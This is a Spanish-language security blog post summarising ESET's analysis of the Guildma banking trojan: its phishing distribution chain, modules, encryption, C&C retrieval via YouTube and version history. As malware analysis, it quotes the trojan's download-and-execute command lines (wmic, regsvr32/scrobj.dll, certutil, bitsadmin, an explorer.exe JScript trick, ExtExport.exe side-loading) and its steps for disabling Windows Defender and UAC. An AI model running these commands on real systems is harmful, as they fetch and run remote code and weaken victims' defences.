Seguridad

Actualización del malware Guildma: características y cómo funciona

El pasado año nos llegaban noticias de que desde principios de 2019 miles de usuarios habían sido víctimas del malware llamado Guildma, del cual hablaremos hoy en este post.

Este malware posee una herramienta de acceso remoto (RAT), spyware, capacidad de robo de contraseñas y actuación a modo de troyano bancario. En un principio su principal objetivo fueron usuarios y servicios localizados en Brasil, pero poco a poco su alcance se fue expandiendo a compañías como Netflix, Facebook, Amazon y Google Mail.

Este malware era distribuido a través de campañas de phishing llevadas a cabo por correo electrónico (pudiendo tratarse de facturas, invitaciones, etc.), tratándose de correos personalizados que se dirigían a las víctimas por su nombre. En estos correos se enlazaba un archivo ZIP que contenía el link malicioso. Cuando el usuario afectado abría este archivo, éste descargaba un archivo XSL malicioso que a su vez descargaba todos los módulos de Guildma y ejecutaba un cargador en su primera etapa, el cual incluía el resto de módulos del malware. Este último entonces se activaba y esperaba las órdenes del servidor de comando y control (C&C) para dar comienzo a las interacciones específicas con el usuario, como podía ser abrir el sitio web de uno de los servicios que había sido blanco del ataque.

En la siguiente imagen podemos observar el alcance e intensidad de las campañas de distribución del malware desde el inicio de su distribución. Se observa claramente la puesta en marcha de una campaña masiva en agosto de 2019, cuando se enviaban hasta 50.000 muestras al día; esta campaña duró casi dos meses.

Fuente de la imagen: ESET – WeLiveSecurity

Como casi todos los malwares con los que nos podemos encontrar actualmente, Guildma ha sido actualizado con potentes novedades en cuanto a su ejecución y técnicas de ataque. Así pues, a continuación explicaremos sus características y funcionamiento.

CARACTERÍSTICAS

Como se ha explicado anteriormente, Guildma es un troyano bancario latinoamericano que tiene como objetivo principal a entidades brasileñas. Además de afectar a instituciones financieras, Guildma también intenta hacerse con credenciales de correos electrónicos, tiendas online y servicios de streaming, y afecta al menos a diez veces más víctimas que cualquier otro troyano latinoamericano de esta familia analizado hasta el momento. Usa métodos innovadores de ejecución así como técnicas de ataques sofisticadas.

A diferencia de otros troyanos latinoamericanos. Guildma no almacena las ventanas emergentes falsas usadas en el binario. En su lugar, el ataque se lleva a cabo a través del servidor C&C. Esto da a los creadores del malware mayor flexibilidad para reaccionar a las contramedidas implementadas por las entidades bancarias víctimas del ataque.

Guildma tiene implementadas las siguientes funcionalidades como puerta trasera:

  • Hacer capturas de pantalla
  • Capturar las pulsaciones del teclado
  • Simular teclado y ratón
  • Bloquear atajos (por ejemplo, deshabilita la combinación de teclas Alt+F4 para que así sea más difícil cerrar la ventana emergente cuando ésta aparezca en pantalla)
  • Descargar y ejecutar archivos
  • Reiniciar el dispositivo

CÓMO FUNCIONA

Guildma funciona por módulos. Cuando los investigadores de ESET escribieron el artículo del que se nutre la información aquí proporcionada, el malware estaba constituido por 10 módulos, sin incluir las etapas de distribución en cadena.

EVOLUCIÓN DE LAS CADENAS DE DISTRIBUCIÓN

Guildma se distribuye a través de mensajes de spam que incluyen archivos maliciosos. A continuación se pueden observar algunos de estos mensajes escritos en portugués:

Una de las características que distingue la forma de distribución de Guildma en cadena es el uso de herramientas que están presentes en el sistema del dispositivo infectado, haciéndolo normalmente de forma novedosa y poco corriente. Otra de sus características es la reutilización de técnicas; si bien es cierto que se añaden nuevas técnicas de vez en cuando, la mayoría de las veces los desarrolladores parece que simplemente reutilizan las de versiones anteriores.

Distribución de Guildma

En la imagen anterior vemos la distribución en cadena de la versión 150 del malware; la estructura de distribución es bastante dinámica. Por ejemplo, en versiones anteriores el archivo malicioso LNK que observamos en la imagen no estaba dentro del archivo ZIP, ni tampoco se utilizaba un archivo SFX RAR que contuviese un instalador MSI. De igual forma, solía haber una etapa JScript cuyo único propósito era descargar y ejecutar la etapa final JScript.

TÉCNICAS MÁS LLAMATIVAS USADAS EN LOS ÚLTIMOS 14 MESES

Ejecución de la etapa JScript

A finales de 2018, Guildma escondía su código en archivos «extensible Stylesheet Language (.xsl)» y usaba wmic.exe para descargarlos y ejecutarlos:

wmic.exe /format:”<URL>”

Por un breve periodo de tiempo pasó a usar regsvr32.exe y scrobj.dll para descargar un objeto COM con JScript implementado y ejecutaba su registro rutinario (el cual contenía el código malicioso):

regsvr32.exe /s /n /u /i:<URL> scrobj.dll

Más recientemente, los desarrolladores del malware empezaron a hacer uso de Windows Explorer para ejecutar la etapa de JScript. Este ataque se apoya en el hecho de que Windows Explorer tratará de abrir cualquier archivo que se le pase a través de la línea de comandos con el programa asociado correspondiente, así como también se aprovecha de que la asociación por defecto de los archivos .js es «Microsoft Windows Script Host«. El script que se le proporciona a Windows Explorer es un comando único cuyo propósito es descargar y ejecutar la etapa JScript:

echo GetObject(‘script:<URL>’) > <file>.js | explorer.exe <random switches> <file>.js

Ejecución de los módulos del binario

En sus inicios, Guildma hacía uso de aswRunDll.exe (de Avast) para dar comienzo a la primera etapa del binario, y de regsvr32.exe como respaldo para los casos en los que los productos de Avast no estuviesen instalados en el dispositivo infectado. Posteriormente los desarrolladores cesaron el uso de aswRunDll.exe, dejando a regsvr32.exe como el único método de ejecución. Después de un breve periodo de tiempo usando rundll32.exe, los desarrolladores de Guildma empezaron a utilizar el método de ejecución actual: ExtExport.exe.

ExtExport.exe es un componente de Microsoft Internet Explorer sobre el que no hay documentación, usado para exportar marcadores de Mozilla Firefox y 360 Secure, y puede ser utilizado de manera dañina por DLL Side-Loading (Carga lateral de archivos DLL). Cuando el comando que aparece a continuación se ejecuta, mozcrt19.dll, mozsqlite3.dll y sqlite3.dll se cargan en la carpeta especificada en la línea de comando:

C:Program FilesInternet ExplorerExtExport.exe <folder> <dummy 1> <dummy 2>

Para hacer un uso malicioso de esto, normalmente habría que cargar la DLL como uno de los archivos mencionados anteriormente; en el caso de Guildma se usan los tres.

Descarga de los módulos del binario

La primera versión de Guildma usaba certutil.exe y lo copiaba en certis.exe (aparentemente para evadir su detección):

certis.exe -urlcache -split -f “<URL>” “<destination path>”

Los desarrolladores luego cambiaron a BITSAdmin (la herramienta de administración Microsoft Background Intelligent Transfer Service) y todavía lo siguen usando:

bitsadmin.exe /transfer <random number> /priority foreground <URL> <destination>

Durante un par de meses los módulos del binario fueron codificados en base64 y su proveedor hosting fue Google Cloud. En ese momento, Guildma usaba tanto BITSAdmin como certutil (el primero para descargar los módulos y el segundo para decodificarlos).

Otros cambios de interés

Guildma utiliza variables y nombres de funciones extraños y poco descriptivos. A pesar de que estos nombres no tienen sentido, se puede apreciar que son creación de una persona (por ejemplo, «radador» para la función de número aleatorio o «Bxaki» para la función de descarga). En 2019 todos estos nombres se cambiaron por palabras aleatorias (por ejemplo, «bx021» y «mrc430»). Los investigadores de ESET tenían la sospecha de que los desarrolladores del malware pudieran estar haciendo uso de una herramienta de ofuscación automática, pero finalmente concluyeron que no parece ser el caso, ya que este cambio solo ocurrió en esa ocasión y los nombres han permanecido así desde entonces.

Un añadido relativamente nuevo es la técnica ya bastante conocida ADS (Alternate Data Streams) para almacenar los módulos del binario. Todos los módulos ahora se almacenan como ADS de un archivo único (por ejemplo, “desktop.ini:nauwuygiaa.jpg”, “desktop.ini:nauwuygiab.jpg”, etc.).

HISTÓRICO DE VERSIONES

Aparentemente, el malware Guildma cuenta con un gran número de versiones desarrolladas por los atacantes, a pesar de que los cambios y avances entre unas y otras eran escasos (debido a una arquitectura inadecuada, la cual incluía valores de configuración en el código, la mayor parte de los desarrolladores tienen que recompilar todos los binarios en cada campaña). Este trabajo no ha sido totalmente automatizado, ya que normalmente existe un retraso considerable entre la actualización del número de versión en los scripts y los de los binarios.

En el artículo de ESET se recogen 150 versiones, pero en el momento de publicarse ya existían otras dos. Los cambios entre ellas, como se ha mencionado, no son considerables en cuanto a funcionalidad o distribución.

La etapa final de la distribución en cadena en la cual se incluye el número de la versión parece haber sido sustituida de manera permanente con los caracteres «xXx» desde la versión 148.

Aquí se puede encontrar un listado de todas (o casi todas) las versiones de Guildma.

RESUMEN DE LOS MÓDULOS

La estructura de los módulos de Guildma parece ser bastante constante. Todos los módulos están compuestos de un prefijo compartido que depende de la versión del malware, y un sufijo específico para cada módulo. En la siguiente tabla se pueden observar algunos ejemplos. La primera columna es el nombre de archivo de la URL, la segunda columna contiene el nombre de los archivos en el sistema, y la tercera columna se corresponde con el módulo.

A excepción del módulo de carga principal 1 (64.~) y el módulo de inyección principal (xa.gif, *xb.gif y *xc.gif), todos los módulos son cifrados con un método simple de cifrado XOR usando una clave de 32 byte. La clave se genera a partir de una «semilla» de 32 bit usando el algoritmo mostrado en la siguiente imagen. El valor de dicha semilla se ofusca en los binarios para evitar que se produzca una extracción poco compleja.

Fuente de la imagen: ESET – WeLiveSecurity

Son tres los módulos que se comunican con el C&C: el módulo principal, el módulo RAT, y el usado para robar contactos y datos de formulario. La comunicación se hace a través de HTTP(S) usando una combinación de base64 y varias formas sencillas y personalizadas de algoritmos de cifrado para evitar que los datos sean transferidos.

En la siguiente sección se explica cómo se obtiene la dirección del C&C.

Módulo de carga principal (*64.~)

Esta es la primera etapa binaria de la cadena. El archivo es una DLL descargada en dos partes, las cuales son concatenadas por la etapa anterior JScript. Se cargan los tres archivos para dar lugar al cargador de la siguiente etapa (*xa.gif, *xb.gif y *xc.gif), se concatenan, se añade el archivo PE resultante a su propia dirección y se ejecuta dicho archivo.

La carga de un archivo PE es relativamente compleja, por lo que para ello los desarrolladores del malware usaron la librería de código abierto BTMemoryModule.

Método principal de inyección (*xa.gif + *xb.gif + *xc.gif)

Este módulo da comienzo a la siguiente etapa (*gx.gif) desde el disco y lo descifra. Luego, ejecuta el primer archivo ejecutable existente de los mencionados en la siguiente lista e inyecta en el susodicho el payload ya descifrado.

  • C:Program FilesAVAST SoftwareAvastaswRunDll.exe
  • C:Program FilesDieboldWarsawunins000.exe *
  • C:WindowsSysWOW64userinit.exe
  • C:WindowsSystem32userinit.

Se trata de una aplicación popular en Brasil para conseguir un acceso seguro vía online a las entidades bancarias.

Módulo principal (*g.gif)

El módulo principal de Guildma organiza el resto de módulos. Su implementación es menos compleja de lo que parece, ya que usa un gran números de temporizadores y eventos, pero su funcionalidad es en realidad relativamente simple. Contiene código antiguo que ya no está siendo utilizado así como código de la etapa de preproducción que no ha sido usado aún.

Al ser cargado, este módulo comprueba si está siendo ejecutado en un entorno sandbox (para ello examina, por ejemplo, el nombre del dispositivo y el ID del volumen del disco), si hay otros procesos como él mismo ejecutándose (es decir, si el mismo módulo se está ejecutando dos veces) y si el lenguaje del sistema es o no portugués. Si alguna de estas comprobaciones revela que el sistema es de poco interés o ya está infectado por Guildma, el propio malware pone fin a su ejecución.

En caso contrario, el módulo recoge información del sistema (nombre del ordenador, qué software de seguridad está siendo utilizado, los programas instalados, etc.) y establece contacto con el C&C. Luego comienza a monitorizar procesos que pueden ser de interés, principalmente cuando ciertas aplicaciones son ejecutadas o se accede a páginas web de bancos, y se llevan a cabo las acciones pertinentes (por ejemplo, hacer capturas de pantalla, evitar que el usuario cierre la ventana al dificultar los atajos mediante teclado, iniciar el módulo RAT, etc.).

Este módulo también implementa comandos de puerta trasera cuya funcionalidad se pisa con la del módulo RAT casi en su totalidad.

Captador de formularios y de robo de contactos (*c.jpg)

Este módulo tiene dos funciones: recolectar direcciones de email y datos de formulario de los sitios web. Lleva a cabo la descarga y ejecuta las funcionalidades del malware, puede hacer capturas de pantalla, simular un teclado y un ratón, y reiniciar el ordenador.

La mayoría de troyanos bancarios latinoamericanos muestran ventanas emergentes falsas basadas en la monitorización de los nombres de las ventanas abiertas. Estas ventanas normalmente se almacenan en el binario. Los investigadores de ESET no encontraron código en Guildma, pero parece ser que el RAT contiene un formulario Delphi que implementa un navegador web simple. Dado que también se ejecuta en base al nombre de las ventanas activas, se piensa que el formulario es utilizado para mostrar cuadros de diálogo falsos al usuario.

MailPassView (a.jpg) y BrowserPassView (b.jpg)

Se trata de herramientas gratuitas de Nirsoft para extraer las credenciales guardadas de clientes de email conocidos y de navegadores web, respectivamente. Desde que Nirsoft dejase de dar soporte a operaciones de bajo perfil de las nuevas versiones para así frenar el abuso de estas herramientas por los desarrolladores de malware, quienes crearon Guildma están usando ahora versiones más antiguas que sí tienen las características que necesitan.

Módulo dropper JScript (*i.gif)

Este módulo ejecuta (usando cscript.exe) un archivo JScript. El script consta de dos partes: la primera parte se almacena en una larga cadena codificada, mientras que la segunda parte se monta a partir de muchas cadenas pequeñas (algunas cifradas y otras no). Cabe mencionar que las cadenas del archivo JScript son cifradas por este módulo con una clave generada de manera aleatoria, por lo que se ven de manera clara en el dropper.

El script ejecuta las siguientes acciones:

  • Deshabilita el UAC
  • Deshabilita la comprobación de la firma de los archivos EXE
  • Deshabilita Windows Defender
  • Crea una regla de firewall para deshabilitar el acceso a la red de C:Program FilesAVAST SoftwareAvastSetupavast.setup
  • Deshabilita el driver wsddntf (Diebold Warsaw GAS Tecnologia – el software de protección de acceso a los bancos)
  • Añade una excepción al firewall para los archivos usados como objetivo de la inyección:
    • C:Program FilesDieboldWarsawunins000.exe
    • C:Program FilesAVAST SoftwareAvastaswRunDll.exe

Se cree que este módulo todavía se encuentra en proceso de desarrollo ya que los investigadores de ESET no observaron en ningún momento la acción del dropper.

NUEVOS DESARROLLOS (DESDE MEDIADOS DE 2019)

Nueva recuperación del C&C

En la versión 142, una nueva forma de distribuir los servidores C&C, mediante el uso de YouTube y perfiles de Facebook, fue implementada. Sin embargo, los desarrolladores del malware dejaron de usar Facebook de manera casi inmediata y, en el momento de la publicación de la investigación de ESET, hacían uso total de YouTube (Guildma pone la información en la descripción del canal, sin ofuscarla, por ejemplo, en la URL como hacía Casbaneiro). El inicio y el final de las direcciones de C&C cifradas se delimitan con «|||». La información que queda entre esos caracteres está codificada en base64 y el método de cifrado es el algoritmo de Mispadu. Este es el método principal de recuperación del C&C; el método antiguo también sigue estando presente en caso de que el nuevo falle.

Módulos añadidos y eliminados

El módulo dropper de JScript descrito en uno de los apartados anteriores fue añadido en la versión 145. En cambio, en la versión 139, Guildma dejó de usar dos módulos presentes en versiones anteriores (el módulo de envío de correos masivos (f.jpg) y su módulo de carga (e.jpg)). En algunas de las versiones siguientes, todavía se podía acceder a estos módulos a través de los nombres esperados (e.jpg y f.jpg) del mismo servidor en el que se encuentran el resto de módulos. Esto lleva a pensar que estos módulos todavía siguen siendo desarrollados, pero que actualmente se distribuyen según se necesitan, posiblemente usando los comandos de descarga y de ejecución de puerta trasera.

Nuevo cifrado de cadenas

El módulo dropper de JScript trajo consigo un nuevo algoritmo de cifrado. Una variante de este algoritmo (la cual se puede observar en la siguiente imagen) se distribuyó entre el resto de módulos de la versión 147.

Variante del algoritmo de cifrado

En sus inicios Guildma estaba utilizando el mismo cifrado de cadenas que Casbaneiro. El nuevo algoritmo tiene cuatro etapas y, como se puede observar, el algoritmo de cifrado inicial se sigue usando en la primera etapa. También cabe destacar que, asimismo, el algoritmo de cifrado de Mispadu está siendo usado en la cuarta etapa.

En la versión 148, Guildma implementó una tabla de cadenas; todas las cadenas son descifradas al principio de la ejecución y se accede a ellas a través de la tabla cuando es necesario.

Eliminación de blancos internacionales

En la versión 138 Guildma añadió a su lista de objetivos a instituciones internacionales (principalmente bancos) fuera de Brasil. A pesar de esto, se ha observado que no se han llevado a cabo campañas internacionales; las campañas con archivos en infraestructuras de Cloudflare llegaron al punto de incluso bloquear la descarga de archivos desde direcciones IP que no fuesen brasileñas. De hecho, en los últimos 14 meses no se han observado campañas contra objetivos fuera de Brasil.

Finalmente, en la versión 145 la capacidad de establecer como objetivos a instituciones fuera de Brasil se eliminó totalmente. Teniendo todo esto en cuenta, se cree que esta funcionalidad fue algo que estaba en desarrollo y que terminó por ser desestimada.

CONCLUSIONES

El malware Guildma muestra las características principales de los troyanos bancarios latinoamericanos. Está escrito en Delphi, tiene como objetivo principal a Latinoamérica, implementa funcionalidades de puerta trasera, se divide en módulos y hace uso de herramientas legítimas.

Guildma también comparte puntos interesantes con otras familias de malware. Uno de estos puntos de interés compartidos es su algoritmo de cifrado actual, el cual combina aquellos usados por Casbaneiro y Mispadu.

IOCs

Hashes (SHA-1, descripción y nombre de detección de ESET, respectivamente)

Nombres de archivos: C:UsersPublicLibrariesqlanl*

Enlaces de arranque

En el informe de ESET también pueden ser encontradas las técnicas de ataque.

Más información:

Guildma: The Devil drives electric
https://www.welivesecurity.com/2020/03/05/guildma-devil-drives-electric/

Guildma, el malware que está acechando a 130 bancos
https://www.tynmagazine.com/guildma-el-malware-que-esta-acechando-a-130-bancos/

Powered by WPeMatico

Gustavo Genez

Informático de corazón y apasionado por la tecnología. La misión de este blog es llegar a los usuarios y profesionales con información y trucos acerca de la Seguridad Informática.